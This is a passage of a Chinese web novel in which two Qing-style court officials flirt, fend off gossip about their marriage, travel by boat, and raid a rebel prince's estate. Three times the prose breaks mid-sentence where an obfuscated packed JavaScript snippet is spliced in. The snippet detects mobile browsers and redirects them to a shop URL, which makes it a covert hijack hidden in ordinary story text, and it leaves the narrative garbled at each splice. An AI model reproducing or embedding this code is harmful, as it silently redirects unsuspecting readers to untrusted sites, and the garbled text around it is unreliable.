他顿了顿,转回正事,“你进宫和陛下说了?” “嗯,说了。” 谢伟恒应声,随手脱去身上笔挺的官服外袍,打算换上一身轻便常服,“陛下已经应允了。” 待京城这桩抄家的差事彻底了结,燕修延便要动身前往晋王封地办事。 谢伟恒心中挂念,特意寻了个正当由头,进宫面圣,主动向虞睿祥请旨,想要与燕修延一同前往。 虞睿祥何等通透,哪里会瞧不出他那点心思,当下笑着调侃了几句,便爽快应了下来。 燕修延的目光落在谢伟恒身上,忽然一顿。 早上起床穿衣时没注意,谢伟恒后颈的肌肤上,隐隐露出一点浅淡的红痕。 “别动。” 他上前一步,伸手轻轻拨开谢伟恒松垮的衣领,指尖小心翼翼地扒开衣料,目光顺着后颈一路往下。 只见光洁的背脊上,错落布着几道浅浅的红痕,是昨夜情急之下,抓挠留下的印记,细细密密。 燕修延又拿起一旁叠得整齐的官服,往谢伟恒身上套去,手忙脚乱地替他遮掩,嘴里还暗自松了口气:还好还好,遮住了。 “……你脱衣服做什么?” 谢伟恒直接脱掉了里衣,转过身正面看向燕修延,眉眼弯弯,唇角噙着一抹温润又促狭的笑,声音轻缓柔和:“燕大人昨夜,格外热情。” 【燕大人今日格外热情。】 燕修延瞬间脸颊发烫,却硬是绷着一张脸,装作面无表情的模样,伸手一把扯过谢伟恒手中的衣物,不由分说地往他身上套,动作略显粗鲁,却又刻意放轻了力道。 仔细将他胸前与背后所有痕迹尽数遮得严严实实。 “大白天的,别这么口无遮拦。”燕修延强装镇定地呵斥,耳尖却红得快要滴血。 谢伟恒笑吟吟地站在原地,任由燕修延替自己系上衣带,眼底的笑意更深,故意逗他:“燕大人这是做什么?方才还叫我收敛些,怎么此刻反倒亲自上手了?” “你脑子里能不能想点正经公务?” 燕修延干脆伸手按住谢伟恒的肩,将人轻轻按坐在床边的椅子上,转身快步走到床头,抬手打开隐秘的暗格,从里面取出一只小巧的木盒。 打开木盒,里面盛着膏体细腻的活血化瘀药膏,已经用去了小半,看得出来是常用的物件。 燕修延轻咳一声,刻意掩饰自己的窘迫,指尖轻轻沾取了一丝清凉的药膏,缓缓落在谢伟恒的背脊之上。 清清凉凉的触感漫过后背,谢伟恒紧绷的肩线缓缓松垮下来,眉头也轻轻舒展。 他侧过头,唇角勾起一抹浅淡又狡黠的笑意,声音温温软软地飘进燕修延耳中:“这药倒是不错,燕大人觉得呢?” 燕修延正垂着眼,指尖细细地将药膏揉开,覆在那一道道淡红的印子上,听得这话,心不在焉地随口应道:“嗯,是挺清凉的……谢伟恒你套我话!” 早上就用过一次,他当然知道这药不错。 燕修延轻拍了一下谢伟恒的后脑勺:“多损那你!” 谢伟恒低低地笑出声,温顺地任由他拍了这一下,眼底的温柔几乎要溢出来。 燕修延没好气地将装着药膏的木盒往他手里一塞,转身搬过桌角的铜镜,重重搁在桌面上:“胸口的自己涂,少跟我找借口说看不见。” 可他刚要收回手,就被谢伟恒轻轻攥住。 谢伟恒微微仰头,温润的眼眸直直望着他,眼尾带着一点浅浅的笑意,语气带着几分委屈:“明明是燕大人抓出来的痕迹,如今却要我自己涂药,未免太狠心了些。” 燕修延被他看得耳根微热,索性耍起无赖,挑眉道:“不服气?我再给你添两道,你信不信?” 谢伟恒非但不松手,反而握得更紧了些,指尖轻轻摩挲着他的掌心,声音放得更柔:“夫君帮我涂。” “不。” 燕修延硬起心肠,神色故作坚定,“我才不会次次都顺着你的心意。” 谢伟恒却不依,轻轻晃了晃他的手,嗓音软得像浸了温水,带着几分撒娇的意味:“好哥哥,帮我涂好不好?” 涂个鬼!哥哥个鬼! 铜镜里映出两人的身影,谢伟恒垂眸望着身前低头为自己上药的人。 燕修延明明语气里满是不耐烦,指尖的动作却轻得不像话,生怕弄疼了他半分。 “谢大人这撒娇的本事,是跟谁学的?从前可不见你这般。” 谢伟恒抬手,指腹轻轻蹭过燕修延温热的脸颊,笑意温柔:“自然是跟哥哥学的。” 燕修延抬眼,撞进他含笑的眼眸里,故意板着脸问:“哪个哥哥?” “自然是眼前这位燕大人,我的燕哥哥。” 谢伟恒微微低头,目光缱绻地望着他,唇角的笑意温柔又缱绻。 燕修延撇过头,他才不信呢,他哪儿会撒娇,顶多会撒泼罢了。 谢伟恒只是看着他笑,不再多言。 【我跟你说啊,撒娇首先要摸清楚对方吃哪一套,语气一定要轻柔,直接说出自己的需求,黎姐说她有时候就是这样手拿把掐哥哥的。】(这里的哥哥是虞睿祥) 燕修延指尖沾着微凉的药膏,动作猛地一顿,目光不自觉落在谢伟恒腰腹间那几道浅淡却清晰的抓痕上。 他自己都有些怔忪,昨夜不过是情动间无意触碰,竟会挠得这般均匀,连边角都未曾落下,倒像是刻意为之的“雨露均沾”。 谢伟恒瞧出他眼底的怔忡,轻笑一声,伸手轻轻引着燕修延的指尖,缓缓落在自己腹部那几道浅痕之上。 他微微偏过头,温热的唇瓣轻擦过燕“怪不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646265|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得有人说文人修延的耳廓,语气软得像浸了温水,带着几分亲昵的戏谑:“燕大人在想什么,这般出神?” 燕修延的身子骤然一僵,偏开脸硬声道:“发会儿呆,不行啊?” 谢伟恒低笑,气息拂在他脸颊,唇瓣轻轻擦过他的鼻尖,温柔又撩人:“我还以为,燕大人是在回味。” 回味? 燕修延抬眼白了他一眼,故作冷淡,“我有什么好回味的。” 可话虽如此,他脑海里却不受控制地掠过昨夜的画面。 谢伟恒曾含笑望着他,轻声问他可曾听过一句诗:“玉人何处教吹箫”。 燕修延本就不通诗词曲赋,不过重点不是听过没听过,而是他已经无法再直视这句诗。 “怪不得有人说文人玩的花呢……” 燕修延小声嘀咕一句,他快速的将药膏涂抹均匀,“啪”地一声合上木盒。 谢伟恒听见这话便知道燕修延想到什么上去了。 他当即伸手攥住燕修延的手腕,指腹轻轻摩挲着燕修延腕间细腻的肌肤,语气里裹着几分戏谑与缱绻:“我原还以为,燕大人是喜欢这些花样的。” 燕修延嘴角狠狠扯了一下,挤出一抹比哭还难看的假笑,硬着头皮梗着脖子回道:“不喜欢。” 谢伟恒腕间微微用力,稍一牵拉便将毫无防备的燕修延径直拽进了自己怀里:“当真不喜欢?” 燕修延的目光撞进谢伟恒含笑的眼眸里,那双眸子盛满了温柔与狡黠,看得他心头一跳,嘴唇动了动:“……不喜欢。” 谢伟恒食指隔着柔软的衣料,在燕修延的胸口慢悠悠地画着圈轻声道:“好,那我往后再学些别的,专挑夫君喜欢的来。” 燕修延伸手死死攥住了谢伟恒作乱的手,深吸一口气,咬牙道:“够了,别学了,这些就足够了。” 他自己得学点什么,不然自己怕是半点上风都占不到了。 论嘴甜撒娇,他比不过谢伟恒,难不成连些新鲜花样,也要被对方压一头? 转眼到了晚间用膳时分,谢小厮端着饭菜轻手轻脚地摆上桌,一双眼睛却不安分,时不时偷偷往燕修延和谢伟恒脸上瞟,目光在两人之间来回打转。 也不知是瞧见了什么端倪,一张小脸涨得通红,活像碟子里焖得油亮、裹满浓甜糖色的红烧肉一般。 “站住。” 谢小厮摆完碗筷,抱着空托盘缩着脖子想溜到门口时,燕修延眼疾手快,当即沉声开口:“你又在外面听到了什么消息?” 谢小厮抱着托盘拔腿就往外冲,连头都不敢回,跑得比兔子还要快。 “哎,谢大人你这小厮,上辈子怕是属兔子的吧,跑的这般快,叫都叫不住。” 谢小厮不说,燕修延吃完饭自己上街听去了。 这一听,脸都黑了。 “不是吧,他们俩?我瞧着可不太像啊!” “这你就外行了吧!我听说啊,他俩如今恩爱非常,夜夜都闹到天明,连次日早朝都险些赶不上!” “夜夜?那再年轻力壮,身子骨也遭不住吧?” “可不是嘛!所以我还听说,他俩私下里特意寻了不少滋补养身的物件,就为了撑着精神当差呢!” “啧啧啧,真是看不出来,平日里一本正经的两位大人,私下里竟这般……” “嘘——小声点,别被人听见!” “哎,你这消息到底哪儿听来的,这般私密的事,你都能知道?” ———————————— 注:玉人何处教吹箫——出自唐杜牧《寄扬州韩绰判官》 108. 别说你没见过,我也没见过 “我邻居家那小崽子,在药铺当药童,他说谢府的管家拿着一张方子,竟撕成了两半,分着去两家药铺抓药哩!” “这方子……难不成是……” “没错!就是你心里想的那种!嘿嘿嘿!” 嘿你二大爷。 燕修延缓缓闭了闭眼,指尖无意识地摩挲着茶碗边缘,只觉得这谣言荒谬得可笑。 一个区区药铺的小童,顶多能瞧见客人抓药的模样,怎么可能知晓管家手里拿的是半张撕毁的方子? 这般漏洞百出的鬼话,偏满茶馆的人都听得津津有味,甚至交头接耳地附和,仿佛亲眼所见一般。 除了温瑞那小子,还能有谁? 定是把早前谢伯为了糊弄中书令,拆分药方抓药的旧事改头换面,故意散播出来嚼舌根。 再加上个鬼点子一堆的柳岚,这俩家伙凑在一起,就没个安分的时候。 燕修延舌尖顶了顶上颚,嘴角勾起一抹阴森的笑,眼底寒意渐生。 很好。 不知情的人们还在喝茶聊天。 “真没想到啊,从前在朝堂上势同水火的燕大人和谢大人,如今竟好得跟一个人似的。” “一看你就少看话本!这世间多少佳偶,都是从两看相厌的冤家过来的,先是针尖对麦芒,后来才互相爱慕,难分彼此呢!” “我听的版本可不一样!说是两位大人少年时就相识,早已私定终身,长大后入朝为官,一时没认出对方,这才闹了别扭。如今成了亲,朝夕相处才猛然发觉——哎!缘来是你!当下就干柴碰上烈火,情难自禁咯!” 燕修延听得太阳穴突突直跳,这话又是谁传的? 前一个谣言好歹还是移花接木、真假掺半。 这个版本简直离谱到天边。 他与谢伟恒,从前压根就是陌路,何来少年相识、私定终身一说? 谢伟恒却忽然低笑一声,长臂一伸,自然地搂住燕修延的腰,温热的气息拂过他的耳畔,声音低沉又带着几分戏谑:“哥哥何时才愿意,同我真的干柴碰烈火?” 燕修延气得牙根发痒,声音从牙齿缝里挤出来,又低又狠:“昨晚才折腾半宿,你还想怎么着?夜夜到天明不成?当真想吃那补药撑着?” 谢伟恒眸色一亮,竟觉得这主意甚是不错,认真点头:“郑太医早前的确赐了一张食补方子,温补不伤身……” 燕修延猛地眯起眼,眸光锐利地扫向他,语气带着十足的威胁:“你再多说一个字,今晚立刻分房睡,我大不了进宫赖在陛下那儿,让你独守空房。” 谢伟恒瞬间噤声,乖乖闭了嘴,只是揽着燕修延腰的手,收得更紧了些。 外面的人流言蜚语依旧没完没了,翻来覆去都是说燕修延与谢伟恒私下如何恩爱缱绻,说得绘声绘色,仿佛那些人就趴在人家窗根下亲眼瞧过一般。 燕修延听得头疼欲裂,再也坐不住,起身便要走。 “走了回去了。” 一扭头,撞进谢伟恒的眼眸里,那眼神半是期待,半是故作忧郁,看得燕修延一阵无奈。 “……你又打算装什么可怜?”燕修延扶额。 谢伟恒轻轻拉着他的手,指腹摩挲着他的指尖,眼尾微微垂下,一副委屈模样:“他们口中热情似火、对我温柔缱绻的燕大人,我从未见过。” 燕修延嘴角狠狠一抽,没好气道:“别说你没见过,我自己都没见过。你别指望我叫你相公。” 外面的谣言里,说他日日甜腻地喊谢伟恒“相公”。 谢伟恒歪了歪头,故作疑惑:“不是夫君么?” 燕修延想也不想,脱口而出:“相公。” 话音刚落,谢伟恒立刻眉开眼笑,朗声应道:“我在。” 燕修延怔了瞬,才反应过来自己掉进了这只老狐狸的圈套,气得咬牙切齿:“谢伟恒你这个老狐狸!搁这挖坑等我呢?!” 明天他就挖个大坑,把温瑞和柳岚一起埋了! 若是还有其他帮着传谣的,一并埋了! 第二日,燕修延寻遍了监察司,也没找到温瑞的影子,他只看见背上缠着一条通体乌黑的药蟒,左手攥着一只花纹斑斓的大蜘蛛,右手捏着一只□□的柳岚。 柳岚一看见燕修延阴沉沉的脸,心里顿时“咯噔”一下,不等对方开口盘问,直接不打自招:“不关我的事啊头儿!是温泽非要追着问,刚好温瑞在旁边……” 燕修延嫌恶地瞥了眼柳岚手上的□□,正伸着长舌头吃掉一只飞过的苍蝇,他脚步顿在门外,半步都不愿踏进去,眉头皱得能夹死蚊子。 “温泽和温瑞人呢?” 柳岚立马毫不犹豫地出卖队友,连半点犹豫都没有:“他俩说最近京中无事,就跟着语秋去押一趟镖,目的地是云中城!” “好。” 燕修延冷冷丢下一个字,语气不容置疑,“晋王的私兵里有一批刺头,不听话得很,从今儿起都交给你调教——记住,别用药毒死了,我留着还有用。” 柳岚瞬间两眼一黑,差点瘫坐在地上。又给她加活儿?! 燕修延在心里盘算着云中城一来一回的路程,唇角勾起一抹冷冽的笑。 很好。 这笔账,先记着,等那两个家伙回来,再慢慢算。 “等咱们镖送完回去,头儿肯定早就动身了,说不定早把谣言的事忘干净了。” 温瑞骑在马上,晃了晃缰绳,回头对着身旁的温泽嘀咕:“我还特地编了好几个版本,听起来就像是市井百姓自发传的,不像咱们故意捣鬼。” 温泽却摇了摇头,脸色有些发苦:“不好说,头儿那么聪明,柳岚肯定早就把咱们供出去了。我刚才后背直发凉,总觉得要倒霉。” 同行的女镖师曾香怡听得好奇,忍不住插话:“你俩既然这么怕燕正使秋后算账,干嘛还要传他的谣言?” 温瑞装模作样地长叹一声,一脸无赖:“不知道,就是想传!看着头儿生气的样子,心里舒坦!” 话音刚落,旁边的朱语秋猛地抽出腰间的马鞭,“啪”一声抽在温瑞的马屁股上:“你别搭理他,他就是闲得发慌,传我们头儿的谣,比谁都起劲。 监察司的哥哥姐姐们,向来爱跟燕修延闹。 就算被骂被罚,转头依旧嬉皮笑脸,没个正形。 那马吃痛,瞬间扬起前蹄,嘶鸣着往前狂奔而去,温瑞吓得连声惊呼:“哎!妹儿哎哎哎——手下留情啊!” 温泽见状,赶紧拉着马缰往旁边躲了躲,对着朱语秋无奈劝道:“语秋啊,你好歹有点姑娘家的温柔样子,别总打打杀杀……唉唉唉!” 话还没说完,一鞭子斜斜抽过来,擦着他的马身掠过,那马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646266|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也受惊般扬蹄,追着温瑞的方向狂奔而去。 朱语秋扭头,与身旁的安清雅相视一笑:“抽得好。” 安清雅甩了甩马鞭,别回腰间:“嗯哼。” 曾香怡望着身后缓缓前行的镖车,眉头微蹙:“这么一大车货物,镖礼才给十两银子,要求还多如牛毛,实在不划算。” 这趟镖本是别家镖局接的,只因对方后来接了更贵重的大镖,嫌这趟活儿麻烦,又找不到委托人退单,便找上了欠人情的朱语秋。 朱语秋耸耸肩,含糊道:“没办法,欠了人情,送完这趟就两清了。” “行吧。” 曾香怡从怀里掏出一包蜜饯:“吃不吃?” 朱语秋伸手抓了两颗蜜饯,塞进嘴里,含糊道:“说了多少次,有吃的直接给我,别问吃不吃。” 她嚼完蜜饯,将果核吐掉,看着掌心里剩下的一颗,眼神微沉,“这批货物看着奇怪,乍一看像枣核碳,可细看纹路、质地,又全然不是。” 枣核碳不过是寻常之物,犯不着花大价钱找镖局专程押送,其中定有蹊跷。 曾香怡把核吐出去,从树上的野果打下来一颗,擦了擦咬了一口,满不在乎地摆摆手:“管它是什么东西,咱们按时送到目的地,拿了剩下的镖银就完事,何必自寻烦恼。” 朱语秋点了点头,许是在监察司待久了,对任何异样都习惯性地留心。 她悄悄从镖车上留了一颗货物,藏在袖中,打算等回京后,带回监察司仔细查验,看看究竟是何物。 数日后,京城码头,燕修延与谢伟恒带着人马整装待发。 查抄晋王府,燕修延只挑了白天铎和肖泽两人随行。 无他,这两人嘴巴还算严实,他暂时不想看见监察司里那些大嘴巴的家伙,免得一路被闲言碎语烦透。 “先直奔晋王封地,办妥正事,返程时正好绕道江南一趟。”燕修延指着地图上的路线,指尖轻轻一划。 白天铎立刻凑上来,脸上挂着暧昧不清的笑,挤眉弄眼道:“是要去夫家老家,见见公婆吧?” 肖泽眼疾手快,一把捂住白天铎的嘴,拖着人就往船上拽,生怕他再口无遮拦惹燕修延生气。 燕修延看着两人的背影,只觉得太阳穴又开始疼了——他算是明白了,这俩人也不该带,尤其是白天铎,嘴比温瑞还碎。 船顺着水路,顺风而下,船身平稳,水波不兴。 但,有了上一次的前车之鉴,燕修延依旧犯了老毛病——晕船。 虽说没有上次吐得昏天暗地,却也头重脚轻,浑身恹恹的,瘫在舱内的软榻上,连动都不想动。 白天铎贼兮兮地趴在舱门框上,探头探脑地往里瞧,故意扯着嗓子调侃:“头儿,你这晕船的样子,看着怎么这么奇怪?该不会不是晕船,而是有了吧?” 燕修延气得抄起手边的软枕,砸了过去:“白天铎!信不信我立刻把你扔下船喂鱼!” 肖泽赶紧提着白天铎的衣领,把人往回拖,连连赔罪:“对不起啊头儿,我没看好他,又让他跑出来了。” “肖泽你再不管好他,看我不抽他大嘴巴子!”燕修延的声音从舱内传来,带着浓浓的疲惫。 ———————————— 虞睿祥:上一边去,皇宫是你想赖就能赖的地方?伟恒赶紧给人领走! 109. ‘无手人士\’的谢书令 燕修延一扭头,恰好撞进谢伟恒含笑的眼眸里,那双眸子温温柔柔的,却让他刚压下去的火气“噌”地又窜了上来。 “还不是你当初先造的谣!现在倒好,咱们俩算是彻底过不去了!” 谢伟恒认错态度端正得挑不出半分错处,声音温软又顺从:“是我的错,等回了京,我立刻让人改口,就说是我有了,全算在我头上。” “算了吧。” 燕修延烦躁地摆了摆手,转身躺回船舱的软榻上,懒得跟他掰扯,“合着这全京城百姓的茶余饭后,就咱俩承包了是吧。” 他索性闭着眼养神,晕船的不适感还缠在四肢百骸里,昏沉又乏力。 上一回走水路也是这般晕得厉害,他心里暗自琢磨,多晕几次,总归能习惯,吐得也就少了。 船缓缓停靠在码头,随行的人都下船透气,顺便采买些干粮饮水、日用补给。 燕修延被谢伟恒扶着下了船,寻了处临水的小茶馆坐下,张口就要了一碗冰镇酸梅汤。 酸甜冰凉的汤汁滑入喉间,瞬间驱散了晕船带来的闷胀恶心,一碗见底,他整个人都松快了不少,靠在椅背上长长舒了口气。 没过片刻,就见谢伟恒提着四五个油纸包走了进来,轻轻放在桌上。 燕修延抬眼扫了扫,随口问道:“买了些什么?” “方才问了码头的大夫,开了几服止晕的汤药,熬了喝能缓解些。” 谢伟恒一边将纸包摊开,一边耐心解释,“还有些新鲜姜片,贴在肚脐或是内关穴上,也能防晕船。” “用不着。” 燕修延头也不抬,直接摆手回绝,冲小二又喊了一声,“再上一碗酸梅汤!” 他侧过头看向谢伟恒,语气带着几分硬气,“多晕晕就习惯了,哪用得着这么细致矫情。” 谢伟恒没反驳,只目光落在他手边空了的酸梅汤碗上,见他喝得欢喜,轻声道:“你先坐着,我再去去就回。” 第二碗酸梅汤端上来,燕修延喝得慢了些,冰甜的滋味在舌尖化开,晕船的难受又淡了几分。 没等他喝完,谢伟恒又提着几个纸包回来了,这一次买的全是酸甜口的零嘴——酸梅汤的原料、山楂糕、梅子蜜饯,样样都是能缓解晕船的口味。 邻桌恰好来了一对客商打扮的人,瞥见桌上的酸梅料、山楂点心,又看了看燕修延脸色微白、倚在椅上的模样,立刻笑呵呵地凑过来搭话:“这位公子看着真是体贴,想来是家中夫人有喜了吧?爱吃这些酸甜口的,恭喜恭喜啊!” “咳——!” 燕修延一口酸梅汤直接呛在喉咙里,憋得面红耳赤,甚至有两滴汤汁从鼻子里呛了出来,狼狈得不行。 他慌忙用袖子捂住脸,弯着腰咳了好半天,胸腔都震得发疼。 谢伟恒连忙起身,手掌轻轻落在他后背,一下下顺着气,动作温柔又急切。 等燕修延终于平复下来,咳得眼眶都红了。 谢伟恒掏出碎银放在桌上,对着邻桌那两位客商略一颔首示意,既没解释,也没多言,径直拿起桌上的东西,示意燕修延起身。 两人一前一后走出茶馆,燕修延碍于路人眼光,全程绷着脸没吭声。 直到上船回到专属的舱房,“砰”地一声关上房门,才彻底发作。 他上前一步,双手重重按在谢伟恒的双肩,眉眼阴恻恻的:“回京以后,不许再买这些酸甜零嘴,更不准让谢伯去买!听见没有?” 谢伟恒一脸无奈,轻声辩解:“我也未曾料到旁桌的客人会这般误会。” “我不管你料没料到!” 燕修延的手指顺着肩膀缓缓滑到他的脖颈边,轻轻虚扣着,语气更沉,“但我清清楚楚看见,你根本没跟他们解释,这不是给孕妇吃的东西!” “谢大人,你是不是该给我一个妥善的解释?” 谢伟恒立刻举起双手,做出一副无辜投降的模样,眼神真挚又委屈:“你方才呛咳得那般厉害,我满心都在顾着你,哪里还顾得上同旁人辩解?” “头儿!你看我买了什么好东西——” “你敲门!” 可已经晚了。 “砰——!” 白天铎双手捧着一个滚圆的大西瓜,瓜顶上还搁着两串紫莹莹的葡萄,直接用肩膀把门狠狠撞开。 他身后的肖泽伸长手臂拼命想拦,脸都憋红了。 看得出来已经拼尽全力阻拦。 却还是没拦住这个冒失鬼。 舱内的谢伟恒和燕修延齐齐转头看向门口。 燕修延的手还虚扣在谢伟恒的脖子上。 白天铎吓得手里的西瓜都晃了晃,眼睛瞪得溜圆,结结巴巴道:“头、头儿!谢大人这细皮嫩肉的,你们有话好好商量,可、可千万别动粗啊!” 燕修延飞快松开手,谢伟恒脖颈光洁一片,半分痕迹都没有。 他没好气地瞪着白天铎:“你哪只眼睛看见我动粗了?” “是是是,闹着玩的呢!” 白天铎立马换上一副了然的笑容,挤眉弄眼,“闺、闺中之乐是吧?我懂我懂!” 他赶紧把西瓜和葡萄放在桌上,讨好地笑道,“头儿,谢大人,这西瓜和葡萄你们慢慢享用,边吃边……玩也行,不够我再去买!我先撤,不打扰你们了!” 说完,他脚底抹油,拔腿就跑,还不忘一把拽住身后连话都没来得及说的肖泽。 肖泽无奈地摇了摇头,顺手替他们把舱门紧紧关上。 “咚!” 燕修延气得左脚鞋子狠狠踹在门上,直接掉落在地。 “这小崽子真是越来越无法无天了!” 他气呼呼地弯腰把鞋捡起来穿上,腮帮子都鼓着。 一回头,却看见谢伟恒坐在椅上,指尖捏着一颗葡萄,眼神深邃地望着他,不知在琢磨什么。 燕修延瞬间眯起眼睛,警惕十足:“你不会……真在想白天铎说的那个边吃边‘玩’的事吧?” 谢伟恒莞尔一笑,语气坦荡又直白:“还是夫君懂我。” 燕修延皮笑肉不笑,冷冷丢下一句:“玩吧,尽管玩,小心我晕船吐你一身。” 谢伟恒却不恼,轻轻放下葡萄,起身拿起方才买的新鲜生姜,利落地切片,同时反手将舱门从内落了锁,“咔嗒”一声,彻底隔绝了外面的声响。 “还请夫君宽衣。”他拿着姜片,步步走近。 燕修延下意识抓紧衣襟,往后缩了缩:“不是说贴内关穴也行?非得露肚子?” “两处都贴,效果更稳一些。”谢伟恒语气认真,听不出半分戏谑。 恰在此时,江面忽然打来一个浪头,船身猛地颠簸了一下。 燕修延只觉得心里干哕人,懒得再跟他纠结,干脆利落地一把解开衣襟,露出腰线利落的小腹。 谢伟恒眸色微深,动作却轻柔至极,先将姜片稳稳贴在他的肚脐上,再取过浸了晕船药的薄贴,轻轻覆在姜片上固定好。 做完这一切,他的指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646267|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没有移开,反而轻轻按在燕修延的锁骨处,微微摩挲。 燕修延不明所以:“你干嘛?” 谢伟恒轻声吐出两个字:“淡了。” “啊?” 燕修延一时没反应过来。 下一秒,锁骨处传来一阵轻微的刺痛与酥麻,他猛地抽气,眉头瞬间皱紧:“嘶——谢伟恒你属狗的啊?!” 他这才恍然大悟,谢伟恒说的“淡了”,是指之前留在他锁骨上的印记浅了。 燕修延慌忙拢好衣襟,死死遮住锁骨处的痕迹,低头系着衣带,没好气地怼回去:“那你身上的印子也淡了,要不要我也给你挠几道出来?” 话音落,半天没听见谢伟恒的回应。 燕修延疑惑地抬起头,正对上他那双亮晶晶、满含期待的眼眸,瞬间无语。 “谢大人,谢书令,”他扶着额头,无奈至极,“你能不能矜持一点?行不行?” 谢伟恒却直接拉过他,轻轻一带,让燕修延坐在自己腿上,随后下巴软软地垫在他的肩头,声音闷闷的,带着几分撒娇的意味:“可是我若矜持了,哥哥又从来不会主动。” 燕修延眉头微蹙,不是他不想主动,实在是说不过谢伟恒。 他自认自己脸皮够厚,可每次想反撩回去,最后都被谢伟恒撩得面红耳赤、心跳失控。 偏偏谢伟恒还一副受用至极的模样。 燕修延莫名觉得自己吃了天大的亏。 正胡思乱想着,一片冰凉湿润的东西轻轻抵在了唇边。 燕修延回神一看,是谢伟恒递过来的、已经剥好皮的葡萄,晶莹剔透,透着清甜的果香。 他张口咬住,果肉在齿间爆开,甜汁四溢:“嗯……还挺甜。” 谢伟恒将自己沾了汁水的手指缓缓放入口中,声音低沉又暧昧:“确实很甜。” 燕修延脸上一热,赶紧从他腿上下来,随手抓过桌上的空碟子,用来接葡萄核:“甜就自己剥着吃啊——你那是什么眼神?” 谢伟恒就这么含笑望着他,目光灼灼:“哥哥方才让我矜持一些,那我便不动手了,哥哥喂我吧。” 燕修延:…… 矜持是让你别总撩人,不是让你直接变成‘无手人士’! 可对上谢伟恒那副势在必得、又温柔得让人无法拒绝的眼神,燕修延终究还是败下阵来。 行吧行吧,喂就喂,只要谢伟恒不动手动脚、不说些浑话,怎么都行。 他拿起一串葡萄,一边剥着皮,一边碎碎念:“你就吃吧,一吃一个不吱声,葡萄核我可不帮你去,自己吐。” 谢伟恒果真乖乖点头,安安静静地张嘴吃着,一吃一个不吱声。 舱内的气氛渐渐安静下来,只有葡萄皮轻轻落在桌上的声响。 燕修延指尖忽然微微蜷起,心里莫名泛起一阵酥痒,想抓住些什么。 可手上沾着黏腻的葡萄汁,只能虚虚地举着。 带着清甜葡萄香气的吻猝不及防地落下,缠绵又腻人,将喉间的甜意都缠成了化不开的温柔。 燕修延舔了舔微麻的嘴唇,没好气地开口:“你就作吧,照这样,两串葡萄吃完,你的嘴巴非得肿不可。” 谢伟恒抵着他的额头,忍不住低低失笑,声音里满是无奈又纵容的宠溺:“哥哥你啊……真的是太会煞风景了。” ————————————— 干哕人:这只是作者家乡这边的方言,意思是晕船晕车时,心里不舒服想吐的意思 110. 谁都不能那样说谢伟恒 肚脐与手腕两处一贴,药力缓缓渗开,确实有用。 接下来的行程,燕修延终于从那软榻上撑起身,终于能踏足甲板,吹吹江上长风。 他这一活泛起来,白日铎便没了安生日子。 往日还能仗着几分机灵在船上蹦跶,如今燕修延腿脚利索,稍不顺心,便提着人从船头追打到船尾,惊得水手们纷纷避让,只当看一场活闹剧。 燕修延立在船头,江风掀动衣袍,他伸了个极舒展的懒腰,眉眼间皆是松快:“终于快到了。” 下船登岸,又在陆上赶了一日路程,晋王封地遥遥在望。 朱红大门巍峨高耸,飞檐翘角逾制得毫不掩饰。 燕修延仰头望了片刻,嗤笑一声:“这规制,越得没边了。我甚至怀疑,他在府里日日都穿着龙袍。” 一箱箱宝物从晋王府库房里源源不断抬出。 珠光宝气扑面而来,晃得人睁不开眼。 燕修延那双也算见过世面的眼睛,此刻几乎要黏在那些金银之上,挪都挪不开。 此番查抄谋逆大臣,各家府邸他都去过,原以为早已见惯富贵。 可亲眼见到晋王府的家底,才知什么叫山外有山,是自己从前见识短了。 “啧啧啧。” 燕修延随手抓起一把滚圆金珠,五指张开,任由金珠从指缝间簌簌滑落,碰撞出清脆悦耳的声响。 周遭人多眼杂,他微微侧身,凑到谢伟恒耳边,声音压得极低:“晋王就算坐拥金山银山,也不过是个成不了大事的草包。” 谢伟恒拾起一枚滚落的金珠,指尖摩挲着冰凉光滑的表面,低声道:“晋王和他手下那一伙人,便如这一颗颗金珠。” 看似贵重,却散沙一盘,粘合不到一处。 燕修延连连点头,一脸深以为然:“确实,他们都好值钱啊。” “燕大人。” 两名禁军抬着一只沉重木箱快步走来,躬身道:“此处发现异样之物。” 箱盖一开,满堂金光骤然黯淡几分。 里面整整齐齐叠着的,竟是龙袍——明黄缎面,绣五爪金龙,张牙舞爪,气势逼人,而非亲王可用的四爪蟒袍。 燕修延随手翻了翻,足有五六件之多。 他挑眉一笑,拍了拍自己的嘴:“瞧我这嘴,真是开了光,说什么来什么。” 谢伟恒微微拱手,语气一本正经:“燕大人有远见。” 燕修延大咧咧一摆手,半点不谦虚:“哪里哪里,一般一般,天下第三。” 